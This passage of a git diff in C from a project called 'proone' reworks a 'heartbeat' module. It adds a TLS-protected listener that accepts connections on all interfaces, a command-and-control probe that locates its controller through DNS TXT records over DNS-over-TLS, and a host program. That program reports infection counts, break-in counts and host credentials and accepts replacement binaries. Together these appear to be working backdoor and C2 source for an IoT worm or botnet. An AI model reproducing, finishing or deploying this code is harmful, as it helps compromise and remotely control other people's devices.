= true; + mbedtls_ssl_init(&c->ssl); +} + +static void htbt_free_lbd_client (htbt_lbd_client_t *c) { + if (c == NULL) { + return; + } + pth_abort(c->pth); + prne_free_iobuf(c->iobuf + 0); + prne_free_iobuf(c->iobuf + 1); + prne_close(c->fd); + c->fd = -1; + mbedtls_ssl_free(&c->ssl); + prne_free(c); +} + +static void htbt_lbd_setup_loop (prne_htbt_t *ctx) { + uint8_t m_sckaddr[prne_op_max( + sizeof(struct sockaddr_in), + sizeof(struct sockaddr_in6))]; + int optval; + socklen_t sl; + pth_event_t ev; + + while (ctx->loop_flag) { + prne_memzero(m_sckaddr, sizeof(m_sckaddr)); + if ((ctx->lbd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) { + struct sockaddr_in6* sa = (struct sockaddr_in6*)m_sckaddr; + + sa->sin6_addr = in6addr_any; + sa->sin6_family = AF_INET6; + sa->sin6_port = HTBT_LBD_PORT; + sl = sizeof(struct sockaddr_in6); + } + else if ((ctx->lbd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) { + struct sockaddr_in* sa = (struct sockaddr_in*)m_sckaddr; - if (fret < 0 && errno != EINTR) { + sa->sin_addr.s_addr = INADDR_ANY; + sa->sin_family = AF_INET; + sa->sin_port = HTBT_LBD_PORT; + sl = sizeof(struct sockaddr_in); + } + else { + goto ERR; + } + if (!prne_sck_fcntl(ctx->lbd.fd)) { + goto ERR; + } + optval = 1; + setsockopt( + ctx->lbd.fd, + SOL_SOCKET, + SO_REUSEADDR, + &optval, + sizeof(optval)); + if (bind(ctx->lbd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) { + goto ERR; + } + if (listen(ctx->lbd.fd, HTBT_LBD_BACKLOG) != 0) { + goto ERR; + } + + break; +ERR: + prne_close(ctx->lbd.fd); + ctx->lbd.fd = -1; + + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(HTBT_LBD_BIND_INT)); + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + pth_cond_await(&ctx->cond, &ctx->lock, ev); + pth_mutex_release(&ctx->lock); + pth_event_free(ev, FALSE); + } +} + +static void htbt_lbd_serve_loop (prne_htbt_t *ctx) { + int fret; + pth_event_t ev = NULL; + prne_llist_entry_t *ent; + htbt_lbd_client_t *client; + pth_attr_t attr; + pth_state_t ths; + struct pollfd pfd; + const size_t PAGESIZE = prne_getpagesize(); + + while (ctx->loop_flag) { + if (ev == NULL) { + ev = pth_event( + PTH_EVENT_FD | PTH_UNTIL_FD_READABLE | PTH_UNTIL_FD_EXCEPTION, + ctx->lbd.fd); + prne_assert(ev != NULL); + + ent = ctx->lbd.conn_list.head; + while (ent != NULL) { + pth_event_t ev_sub = pth_event( + PTH_EVENT_TID | PTH_UNTIL_TID_DEAD, + ((htbt_lbd_client_t*)ent->element)->pth); + prne_assert(ev_sub != NULL); + pth_event_concat(ev, ev_sub, NULL); + + ent = ent->next; + } + } + + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + pth_cond_await(&ctx->cond, &ctx->lock, ev); + pth_mutex_release(&ctx->lock); + if (!ctx->loop_flag) { break; } - else if (fret > 0) { - if (ctx->lbd.pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { + + ent = ctx->lbd.conn_list.head; + while (ent != NULL) { + client = (htbt_lbd_client_t*)ent->element; + + attr = pth_attr_of(client->pth); + prne_assert(pth_attr_get(attr, PTH_ATTR_STATE, &ths)); + pth_attr_destroy(attr); + + if (ths == PTH_STATE_DEAD) { + pth_join(client->pth, NULL); + client->pth = NULL; + htbt_free_lbd_client(client); + ent = prne_llist_erase(&ctx->lbd.conn_list, ent); + + pth_event_free(ev, TRUE); + ev = NULL; + } + else { + ent = ent->next; + } + } + + pfd.fd = ctx->lbd.fd; + pfd.events = POLLIN; + if (poll(&pfd, 1, 0) == 1) { + if (!(pfd.revents & POLLIN)) { break; } - else if (ctx->lbd.pfd.revents & POLLIN) { + + fret = accept(ctx->lbd.fd, NULL, NULL); + if (fret >= 0) { + pth_event_free(ev, TRUE); + ev = NULL; client = NULL; ent = NULL; - fret = accept(ctx->lbd.pfd.fd, NULL, NULL); - do { - if (fret < 0) { - break; - } + do { // TRY + const size_t IOBUF_SIZE[2][2] = { + // TODO: switch after testing + { + PRNE_HTBT_PROTO_MIN_BUF, + PRNE_HTBT_PROTO_SUB_MIN_BUF }, + { PAGESIZE, PAGESIZE } + }; + bool alloc; client = (htbt_lbd_client_t*)prne_malloc( sizeof(htbt_lbd_client_t), 1); if (client == NULL) { - break; + goto CATCH; + } + htbt_init_lbd_client(client); + + for (size_t i = 0; i < 2; i += 1) { + alloc = + prne_alloc_iobuf( + client->iobuf + 0, + IOBUF_SIZE[i][0]) && + prne_alloc_iobuf( + client->iobuf + 1, + IOBUF_SIZE[i][1]); + if (alloc) { + break; + } + } + if (!alloc) { + goto CATCH; } - client->pth = NULL; client->parent = ctx; - client->pfd.fd = fret; + client->fd = fret; + if (mbedtls_ssl_setup( + &client->ssl, + ctx->param.lbd_ssl_conf) != 0) + { + goto CATCH; + } + mbedtls_ssl_set_bio( + &client->ssl, + &client->fd, + prne_mbedtls_ssl_send_cb, + prne_mbedtls_ssl_recv_cb, + NULL); ent = prne_llist_append(&ctx->lbd.conn_list, client); if (ent == NULL) { - break; + goto CATCH; } client->pth = pth_spawn( PTH_ATTR_DEFAULT, htbt_lbd_client_entry, - ent); + client); if (client->pth == NULL) { - break; + goto CATCH; } - fret = -1; - client = NULL; - ent = NULL; - rebuild_ev = true; - } while (false); + pth_event_free(ev, TRUE); + ev = NULL; - if (client != NULL) { - if (client->pth != NULL) { - pth_abort(client->pth); + break; +CATCH: // CATCH + if (ent != NULL) { + prne_llist_erase(&ctx->lbd.conn_list, ent); + ent = NULL; } - } - if (ent != NULL) { - prne_llist_erase(&ctx->lbd.conn_list, ent); - } - prne_close(fret); + if (client != NULL) { + htbt_free_lbd_client(client); + } + prne_close(fret); + } while (false); } } } @@ -265,32 +1161,36 @@ static void *htbt_lbd_entry (void *p) { ent = ctx->lbd.conn_list.head; while (ent != NULL) { client = (htbt_lbd_client_t*)ent->element; + ent = ent->next; - prne_close(client->pfd.fd); - client->pfd.fd = -1; pth_join(client->pth, NULL); - prne_free(client); - - ent = ent->next; } prne_llist_clear(&ctx->lbd.conn_list); +} + +static void *htbt_lbd_entry (void *p) { + HTBT_INTP_CTX(p); + + htbt_lbd_setup_loop(ctx); + htbt_lbd_serve_loop(ctx); return NULL; } -prne_htbt_t *prne_alloc_htbt_worker ( +prne_htbt_t *prne_alloc_htbt ( prne_worker_t *w, - pth_t sigterm_pth, - prne_resolv_t *resolv, - mbedtls_ctr_drbg_context *ctr_drbg) + const prne_htbt_param_t param) { prne_htbt_t *ret = NULL; - uint8_t m_sckaddr[prne_op_max( - sizeof(struct sockaddr_in), - sizeof(struct sockaddr_in6))]; - if (sigterm_pth == NULL || ctr_drbg == NULL) { + if (w == NULL || + param.cb_f.cnc_txtrec == NULL || + param.lbd_ssl_conf == NULL || + param.cncp_ssl_conf == NULL || + param.ctr_drbg == NULL || + param.resolv == NULL) + { errno = EINVAL; goto ERR; } @@ -300,74 +1200,30 @@ prne_htbt_t *prne_alloc_htbt_worker ( goto ERR; } - ret->sigterm_pth = sigterm_pth; - ret->rnd = ctr_drbg; - ret->resolv = resolv; - prne_init_llist(&ret->req_q); + ret->param = param; + prne_init_llist(&ret->main.req_q); ret->loop_flag = true; - pth_mutex_init(&ret->main.lock); - pth_cond_init(&ret->main.cond); + pth_mutex_init(&ret->lock); + pth_cond_init(&ret->cond); ret->cncp.pth = NULL; - pth_mutex_init(&ret->cncp.lock); - pth_cond_init(&ret->cncp.cond); - ret->cncp.cv.broadcast = false; - ret->cncp.cv.lock = &ret->cncp.lock; - ret->cncp.cv.cond = &ret->cncp.cond; ret->lbd.pth = NULL; - ret->lbd.pfd.fd = -1; + ret->lbd.fd = -1; prne_init_llist(&ret->lbd.conn_list); - if (resolv != NULL) { - ret->cncp.pth = pth_spawn( - PTH_ATTR_DEFAULT, - htbt_cncp_entry, - ret); - if (ret->cncp.pth == NULL) { - goto ERR; - } - if (pth_suspend(ret->cncp.pth) == 0) { - goto ERR; - } + pth_mutex_init(&ret->cncp.lock); + pth_cond_init(&ret->cncp.cond); + ret->cncp.pth = pth_spawn( + PTH_ATTR_DEFAULT, + htbt_cncp_entry, + ret); + if (ret->cncp.pth == NULL || pth_suspend(ret->cncp.pth) == 0) { + goto ERR; } - do { - socklen_t sl; - - memzero(m_sckaddr, sizeof(m_sckaddr)); - if ((ret->lbd.pfd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) { - ((struct sockaddr_in6*)m_sckaddr)->sin6_addr = in6addr_any; - ((struct sockaddr_in6*)m_sckaddr)->sin6_family = AF_INET6; - ((struct sockaddr_in6*)m_sckaddr)->sin6_port = HTBT_CNCP_PORT; - sl = sizeof(struct sockaddr_in6); - } - else if ((ret->lbd.pfd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) { - ((struct sockaddr_in*)m_sckaddr)->sin_addr.s_addr = INADDR_ANY; - ((struct sockaddr_in*)m_sckaddr)->sin_family = AF_INET; - ((struct sockaddr_in*)m_sckaddr)->sin_port = HTBT_CNCP_PORT; - sl = sizeof(struct sockaddr_in); - } - else { - break; - } - - if (fcntl(ret->lbd.pfd.fd, F_SETFL, O_NONBLOCK) != 0) { - break; - } - if (bind(ret->lbd.pfd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) { - break; - } - ret->lbd.pfd.events = POLLIN; - - ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret); - if (pth_suspend(ret->lbd.pth) == 0) { - goto ERR; - } - } while (false); - - if (ret->cncp.pth == NULL && ret->lbd.pth == NULL) { - // No producer + ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret); + if (ret->lbd.pth == NULL || pth_suspend(ret->lbd.pth) == 0) { goto ERR; } @@ -385,3 +1241,9 @@ ERR: } return NULL; } + +void prne_htbt_init_param (prne_htbt_param_t *p) { + prne_memzero(p, sizeof(prne_htbt_param_t)); +} + +void prne_htbt_free_param (prne_htbt_param_t *p) {} @@ -1,14 +1,35 @@ #pragma once #include "pth.h" #include "resolv.h" +#include "protocol.h" + +#include <mbedtls/ssl.h> -typedef struct prne_htbt prne_htbt_t; struct prne_htbt; +typedef struct prne_htbt prne_htbt_t; +typedef struct prne_htbt_param prne_htbt_param_t; +typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out); +typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out); +typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size); +typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd); +typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd); + +struct prne_htbt_param { + mbedtls_ssl_config *lbd_ssl_conf; + mbedtls_ssl_config *cncp_ssl_conf; + mbedtls_ctr_drbg_context *ctr_drbg; + prne_resolv_t *resolv; + struct { + prne_htbt_cnc_txtrec_ft cnc_txtrec; + prne_htbt_hostinfo_ft hostinfo; // optional + prne_htbt_tmpfile_ft tmpfile; // optional + prne_htbt_bin_ft ny_bin; // optional + } cb_f; +}; + +prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param); -prne_htbt_t *prne_alloc_htbt_worker ( - prne_worker_t *w, - pth_t sigterm_pth, - prne_resolv_t *resolv, // optional - mbedtls_ctr_drbg_context *ctr_drbg); +void prne_htbt_init_param (prne_htbt_param_t *p); +void prne_htbt_free_param (prne_htbt_param_t *p); diff --git a/src/iobuf.c b/src/iobuf.c new file mode 100644 index 0000000..38aa296 --- /dev/null +++ b/src/iobuf.c @@ -0,0 +1,83 @@ +#include "iobuf.h" +#include "util_ct.h" +#include "util_rt.h" + +#include <string.h> + + +void prne_init_iobuf (prne_iobuf_t *ib){ + prne_memzero(ib ,sizeof(prne_iobuf_t)); +} + +void prne_free_iobuf (prne_iobuf_t *ib) { + if (ib->ownership) { + prne_free(ib->m); + ib->m = NULL; + ib->size = 0; + ib->avail = 0; + ib->len = 0; + } +} + +bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size) { + uint8_t *ny; + + ny = (uint8_t*)prne_realloc(ib->ownership ? ib->m : NULL, 1, ny_size); + if (ny == NULL) { + return false; + } + + if (!ib->ownership) { + memcpy(ny, ib->m, prne_op_min(ny_size, ib->size)); + } + + if (ib->size < ny_size) { + ib->avail += ny_size - ib->size; + } + else { + ib->avail -= ib->size - ny_size; + } + ib->m = ny; + ib->size = ny_size; + ib->ownership = true; + + return true; +} + +void prne_iobuf_setextbuf ( + prne_iobuf_t *ib, + uint8_t *m, + const size_t size, + const size_t len) +{ + prne_dbgast(size >= len); + prne_free_iobuf(ib); + ib->m = m; + ib->size = size; + ib->len = len; + ib->avail = size - len; + ib->ownership = false; +} + +void prne_iobuf_reset (prne_iobuf_t *ib) { + ib->avail = ib->size; + ib->len = 0; +} + +void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount) { + if (amount == 0) { + return; + } + else if (amount > 0) { + prne_dbgast(ib->avail >= (size_t)amount); + } + else { + prne_dbgast(ib->len >= (size_t)(amount * -1)); + } + + ib->len += amount; + ib->avail -= amount; + if (amount < 0) { + memmove(ib->m, ib->m + (-amount), ib->len); + } +} diff --git a/src/iobuf.h b/src/iobuf.h new file mode 100644 index 0000000..cb28446 --- /dev/null +++ b/src/iobuf.h @@ -0,0 +1,29 @@ +#pragma once +#include <stdint.h> +#include <stddef.h> +#include <stdbool.h> + +#include <sys/types.h> + + +typedef struct prne_iobuf prne_iobuf_t; + +struct prne_iobuf { + uint8_t *m; + size_t size; + size_t avail; + size_t len; + bool ownership; +}; + + +void prne_init_iobuf (prne_iobuf_t *ib); +void prne_free_iobuf (prne_iobuf_t *ib); +bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size); +void prne_iobuf_setextbuf ( + prne_iobuf_t *ib, + uint8_t *m, + const size_t size, + const size_t len); +void prne_iobuf_reset (prne_iobuf_t *ib); +void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount); diff --git a/src/mbedtls.c b/src/mbedtls.c index 2b2cbc6..af5acf1 100644 --- a/src/mbedtls.c +++ b/src/mbedtls.c @@ -1,11 +1,12 @@ #include "mbedtls.h" #include "util_ct.h" +#include "util_rt.h" -#include <unistd.h> #include <errno.h> #include <string.h> + +#include <unistd.h> #include <fcntl.h> -#include <time.h> #include <mbedtls/ssl.h> #include <mbedtls/entropy_poll.h> @@ -19,7 +20,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) { const int fd = *(int*)ctx; ssize_t ret; - + ret = write(fd, buf, len); if (ret < 0) { switch (errno) { @@ -83,7 +84,7 @@ typedef struct { static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, size_t len, size_t *olen) { ent_buf_t buf; - memzero(&buf, sizeof(buf)); + prne_memzero(&buf, sizeof(buf)); buf.pid = getpid(); buf.ppid = getppid(); buf.clock = clock(); @@ -111,3 +112,48 @@ void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx) { } } } + +bool prne_mbedtls_pth_handle ( + mbedtls_ssl_context *ssl, + int(*mbedtls_f)(mbedtls_ssl_context*), + const int fd, + pth_event_t ev) +{ + int pollret; + struct pollfd pfd; + + pfd.fd = fd; + + while (true) { + switch (mbedtls_f(ssl)) { + case MBEDTLS_ERR_SSL_WANT_READ: + pfd.events = POLLIN; + break; + case MBEDTLS_ERR_SSL_WANT_WRITE: + pfd.events = POLLOUT; + break; + case 0: + return true; + default: + return false; + } + + do { + pollret = pth_poll_ev(&pfd, 1, -1, ev); + if (pollret < 0) { + if (errno == EINTR) { + continue; + } + else { + return false; + } + } + if (pollret == 0 || pth_event_status(ev) == PTH_STATUS_OCCURRED) { + return false; + } + if (pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) { + return false; + } + } while (false); + } +} diff --git a/src/mbedtls.h b/src/mbedtls.h index e7a9017..00386ee 100644 --- a/src/mbedtls.h +++ b/src/mbedtls.h @@ -2,9 +2,14 @@ #include <stdint.h> #include <stdbool.h> #include <stddef.h> +#include <time.h> +#include <poll.h> + +#include <mbedtls/ssl.h> #include <mbedtls/x509_crt.h> #include <mbedtls/entropy.h> +#include <pthsem.h> // Callback that masks `MBEDTLS_X509_BADCERT_EXPIRED` @@ -15,3 +20,13 @@ int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len); * Workaround for a bug - getrandom() blocks */ void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx); + +/* Convenience Functions +*/ + +// Handles mbedtls_ssl_handshake(), mbedtls_ssl_close_notify() +bool prne_mbedtls_pth_handle ( + mbedtls_ssl_context *ssl, + int(*mbedtls_f)(mbedtls_ssl_context*), + const int fd, + pth_event_t ev); @@ -146,7 +146,7 @@ prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, con pr.err = errno; goto ERR; } - memzero(&ret->zs, sizeof(ret->zs)); + prne_memzero(&ret->zs, sizeof(ret->zs)); if (Z_OK != (pr.err = inflateInit(&ret->zs))) { prne_free(ret); ret = NULL; diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/src/proone-htbtclient.c diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c new file mode 100644 index 0000000..4ba2f73 --- /dev/null +++ b/src/proone-htbthost.c @@ -0,0 +1,425 @@ +#include <stdio.h> +#include <assert.h> +#include <ctype.h> +#include <string.h> +#include <errno.h> +#include <time.h> +#include <inttypes.h> + +#include <unistd.h> +#include <fcntl.h> +#include <regex.h> +#include <arpa/inet.h> + +#include "util_rt.h" +#include "htbt.h" +#include "config.h" +#include "mbedtls.h" +#include "proone_conf/x509.h" + +#include <mbedtls/entropy.h> +#include <mbedtls/debug.h> + +#define HELP_STR \ +"Usage: %s <TXT REC> [options ...] [DNS SPECs...]\n"\ +"Options:\n"\ +" <TXT REC> Target TXT record for CNCP\n"\ +" --help print this message\n"\ +" --no-verify Do not verify client cert\n"\ +" --no-default-dns Do not use hard-coded nameserver pools\n"\ +" @<DNS SPEC> DNS over TLS nameserver\n"\ +"Notes:\n"\ +" IPv4 <DNS SPEC> example: @192.0.2.1 or 192.0.2.1:853\n"\ +" IPv6 <DNS SPEC> example: @[2001:db8::1] or [2001:db8::1]:853\n" + +typedef struct { + char txtrec[256]; + bool verify; + bool def_dns; + prne_resolv_ns_pool_t pool4; + prne_resolv_ns_pool_t pool6; +} htbthost_param_t; + +static htbthost_param_t htbthost_param; +static regex_t re_ns4, re_ns6; +static char m_nybin_path[256]; +static char m_nybin_args[1024]; +static size_t m_nybin_args_size; +static sigset_t ss_all, ss_exit; +static struct timespec proc_start; +static uint8_t instance_id[16]; +static char hostcred[255]; +static size_t hostcred_len; + +static void init_htbthost_param (htbthost_param_t *p) { + p->verify = true; + p->def_dns = true; + prne_resolv_init_ns_pool(&p->pool4); + prne_resolv_init_ns_pool(&p->pool6); +} + +static void free_htbthost_param (htbthost_param_t *p) { + prne_resolv_free_ns_pool(&p->pool4); + prne_resolv_free_ns_pool(&p->pool6); +} + +static void print_usage (const char *prog) { + fprintf(stderr, HELP_STR, prog); +} + +static bool cb_txtrec (char *out) { + strcpy(out, htbthost_param.txtrec); + return true; +} + +static bool cb_hostinfo (prne_htbt_host_info_t *out) { + static struct timespec now; + static uint8_t PROG_VER[] = PRNE_PROG_VER; + int fd; + + now = prne_gettime(CLOCK_MONOTONIC); + out->child_uptime = out->parent_uptime = prne_sub_timespec( + now, + proc_start).tv_sec; + out->bne_cnt = 0; + out->infect_cnt = 0; + out->parent_pid = out->child_pid = getpid(); + + _Static_assert(sizeof(PROG_VER) == sizeof(out->prog_ver), "FIXME"); + memcpy(out->prog_ver, PROG_VER, sizeof(PROG_VER)); + + fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY); + if (fd >= 0) { + read(fd, out->boot_id, sizeof(out->boot_id)); + close(fd); + } + + _Static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME"); + memcpy(out->instance_id, instance_id, sizeof(instance_id)); + + if (prne_htbt_alloc_host_info(out, hostcred_len)) { + memcpy(out->host_cred, hostcred, hostcred_len); + } + + out->crash_cnt = 0; + out->arch = prne_host_arch; + + return true; +} + +static bool cb_ny_bin ( + const char *path, + const char *m_args, + const size_t m_args_size) +{ + const size_t path_len = prne_nstrlen(path); + + prne_dbgast(path_len > 0); + if (path_len + 1 > sizeof(m_nybin_path) || m_args_size > sizeof(m_nybin_args)) { + errno = ENOMEM; + return false; + } + + memcpy(m_nybin_path, path, path_len + 1); + memcpy(m_nybin_args, m_args, m_args_size); + m_nybin_args_size = m_args_size; + + return true; +} + +static void load_lbd_ssl_conf ( + mbedtls_ssl_config *conf, + mbedtls_x509_crt *ca, + mbedtls_x509_crt *crt, + mbedtls_pk_context *key, + mbedtls_dhm_context *dhm, + mbedtls_ctr_drbg_context *rnd) +{ + static const uint8_t + CA_CRT[] = PRNE_X509_CA_CRT, + S_CRT[] = PRNE_X509_S_CRT, + S_KEY[] = PRNE_X509_S_KEY, + DH[] = PRNE_X509_DH; + + assert( + mbedtls_ssl_config_defaults( + conf, + MBEDTLS_SSL_IS_SERVER, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(ca, CA_CRT, sizeof(CA_CRT)) == 0 && + mbedtls_x509_crt_parse(crt, S_CRT, sizeof(S_CRT)) == 0 && + mbedtls_pk_parse_key(key, S_KEY, sizeof(S_KEY), NULL, 0) == 0 && + mbedtls_dhm_parse_dhm(dhm, DH, sizeof(DH)) == 0 && + mbedtls_ssl_conf_own_cert(conf, crt, key) == 0 && + mbedtls_ssl_conf_dh_param_ctx(conf, dhm) == 0); + mbedtls_ssl_conf_ca_chain(conf, ca, NULL); + mbedtls_ssl_conf_verify(conf, prne_mbedtls_x509_crt_verify_cb, NULL); + mbedtls_ssl_conf_rng(conf, mbedtls_ctr_drbg_random, rnd); + mbedtls_ssl_conf_min_version( + conf, + MBEDTLS_SSL_MAJOR_VERSION_3, + MBEDTLS_SSL_MINOR_VERSION_0); +} + +static void mbedtls_dbg_f(void *ctx, int level, const char *filename, int line, const char *msg) { + prne_dbgpf("<MBEDTLS> %s", msg); +} + +static bool parse_param (const char *arg) { + char str[40]; + regmatch_t rm[3]; + + if (strcmp(arg, "--no-verify") == 0) { + htbthost_param.verify = false; + } + else if (strcmp(arg, "--no-default-dns") == 0) { + htbthost_param.def_dns = false; + } + else if (regexec(&re_ns4, arg, 3, rm, 0) == 0) { + prne_net_endpoint_t ep; + size_t pos; + + pos = rm[1].rm_eo - rm[1].rm_so; + memcpy(str, arg + rm[1].rm_so, pos); + str[pos] = 0; + + if (rm[2].rm_so >= 0) { + if (sscanf(arg + rm[2].rm_so, ":%"SCNu16, &ep.port) != 1) { + return false; + } + } + else { + ep.port = 853; + } + + if (inet_pton(AF_INET, str, ep.addr.addr)) { + ep.addr.ver = PRNE_IPV_4; + pos = htbthost_param.pool4.cnt; + prne_resolv_alloc_ns_pool(&htbthost_param.pool4, pos + 1); + htbthost_param.pool4.arr[pos] = ep; + } + else { + return false; + } + } + else if (regexec(&re_ns6, arg, 3, rm, 0) == 0) { + prne_net_endpoint_t ep; + size_t pos; + + pos = rm[1].rm_eo - rm[1].rm_so; + memcpy(str, arg + rm[1].rm_so, rm[1].rm_eo - rm[1].rm_so); + str[pos] = 0; + + if (rm[2].rm_so >= 0) { + if (sscanf(arg + rm[2].rm_so, ":%"SCNu16, &ep.port) != 1) { + return false; + } + } + else { + ep.port = 853; + } + + if (inet_pton(AF_INET6, str, ep.addr.addr)) { + ep.addr.ver = PRNE_IPV_6; + pos = htbthost_param.pool6.cnt; + prne_resolv_alloc_ns_pool(&htbthost_param.pool6, pos + 1); + htbthost_param.pool6.arr[pos] = ep; + } + } + else { + return false; + } + + return true; +} + + +int main (const int argc, const char **args) { + static mbedtls_entropy_context entropy; + static mbedtls_ctr_drbg_context rnd; + static prne_resolv_t *resolv; + static prne_htbt_t *htbt; + static prne_worker_t wkr_arr[2]; + static prne_worker_t *w; + static struct { + mbedtls_x509_crt ca; + struct { + mbedtls_x509_crt crt; + mbedtls_pk_context key; + mbedtls_dhm_context dhm; + mbedtls_ssl_config conf; + } lbd; + struct { + mbedtls_ssl_config conf; + } cncp; + } ssl; + + sigemptyset(&ss_all); + sigemptyset(&ss_exit); + sigaddset(&ss_all, SIGTERM); + sigaddset(&ss_all, SIGINT); + sigaddset(&ss_all, SIGPIPE); + // sigaddset(&ss_all, SIGCHLD); + sigaddset(&ss_exit, SIGTERM); + sigaddset(&ss_exit, SIGINT); + assert(regcomp( + &re_ns4, + "^@([0-9\\.]+)(:[0-9]{1,5})?$", + REG_ICASE | REG_EXTENDED) == 0); + assert(regcomp( + &re_ns6, + "^@\\[([0-9a-f:]+)\\](:[0-9]{1,5})?$", + REG_ICASE | REG_EXTENDED) == 0); + prne_assert(sigprocmask(SIG_BLOCK, &ss_all, NULL) == 0); + init_htbthost_param(&htbthost_param); + + if (argc < 2) { + print_usage(args[0]); + return 2; + } + else { + if (sscanf(args[1], "%255s", htbthost_param.txtrec) != 1 || + strlen(htbthost_param.txtrec) == 0) + { + fprintf(stderr, "Invalid <TXT REC>\n"); + return 2; + } + else if (strcmp("--help", args[1]) == 0) { + print_usage(args[0]); + return 2; + } + + for (int i = 2; i < argc; i += 1) { + if (strcmp("--help", args[1]) == 0) { + print_usage(args[0]); + return 2; + } + else if (!parse_param(args[i])) { + fprintf(stderr, "Invalid option \"%s\"\n", args[i]); + return 2; + } + } + + if (!htbthost_param.def_dns && + (htbthost_param.pool4.cnt == 0 || htbthost_param.pool6.cnt == 0)) { + fprintf(stderr, "Empty IPv4 or IPv6 nameserver pool.\n"); + return 2; + } + } + + mbedtls_debug_set_threshold(1); + pth_init(); + + proc_start = prne_gettime(CLOCK_MONOTONIC); + + mbedtls_entropy_init(&entropy); + mbedtls_ctr_drbg_init(&rnd); + prne_assert(mbedtls_ctr_drbg_seed( + &rnd, + mbedtls_entropy_func, + &entropy, + NULL, + 0) == 0); + + mbedtls_x509_crt_init(&ssl.ca); + mbedtls_x509_crt_init(&ssl.lbd.crt); + mbedtls_pk_init(&ssl.lbd.key); + mbedtls_dhm_init(&ssl.lbd.dhm); + mbedtls_ssl_config_init(&ssl.lbd.conf); + mbedtls_ssl_config_init(&ssl.cncp.conf); + load_lbd_ssl_conf( + &ssl.lbd.conf, + &ssl.ca, + &ssl.lbd.crt, + &ssl.lbd.key, + &ssl.lbd.dhm, + &rnd); + mbedtls_ssl_conf_authmode( + &ssl.lbd.conf, + htbthost_param.verify ? + MBEDTLS_SSL_VERIFY_REQUIRED : MBEDTLS_SSL_VERIFY_NONE); + prne_assert(mbedtls_ssl_config_defaults( + &ssl.cncp.conf, + MBEDTLS_SSL_IS_CLIENT, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT) == 0); + mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd); + mbedtls_ssl_conf_dbg(&ssl.lbd.conf, mbedtls_dbg_f, NULL); // TODO + + mbedtls_ctr_drbg_random( + &rnd, + instance_id, + sizeof(instance_id)); + + w = wkr_arr + 0; + if (htbthost_param.def_dns) { + resolv = prne_alloc_resolv( + w, + &rnd, + PRNE_RESOLV_DEF_IPV4_POOL, + PRNE_RESOLV_DEF_IPV6_POOL); + } + else { + resolv = prne_alloc_resolv( + w, + &rnd, + prne_resolv_own_ns_pool(&htbthost_param.pool4, false), + prne_resolv_own_ns_pool(&htbthost_param.pool6, false)); + } + w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx); + prne_assert(resolv != NULL && w->pth != NULL); + + { + static prne_htbt_param_t param; + + prne_htbt_init_param(¶m); + param.lbd_ssl_conf = &ssl.lbd.conf; + param.cncp_ssl_conf = &ssl.cncp.conf; + param.ctr_drbg = &rnd; + param.resolv = resolv; + param.cb_f.cnc_txtrec = cb_txtrec; + param.cb_f.hostinfo = cb_hostinfo; + + w = wkr_arr + 1; + htbt = prne_alloc_htbt(w, param); + w->pth = pth_spawn(PTH_ATTR_DEFAULT, w->entry, w->ctx); + prne_assert(htbt != NULL && w->pth != NULL); + + prne_htbt_free_param(¶m); + } + + while (true) { + static int caught; + + caught = 0; + pth_sigwait(&ss_all, &caught); + if (sigismember(&ss_exit, caught)) { + sigprocmask(SIG_UNBLOCK, &ss_exit, NULL); + break; + } + } + + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + wkr_arr[i].fin(wkr_arr[i].ctx); + } + for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { + pth_join(wkr_arr[i].pth, NULL); + wkr_arr[i].free_ctx(wkr_arr[i].ctx); + } + + pth_kill(); + mbedtls_x509_crt_free(&ssl.ca); + mbedtls_x509_crt_free(&ssl.lbd.crt); + mbedtls_pk_free(&ssl.lbd.key); + mbedtls_dhm_free(&ssl.lbd.dhm); + mbedtls_ssl_config_free(&ssl.lbd.conf); + mbedtls_ssl_config_free(&ssl.cncp.conf); + mbedtls_ctr_drbg_free(&rnd); + mbedtls_entropy_free(&entropy); + free_htbthost_param(&htbthost_param); + 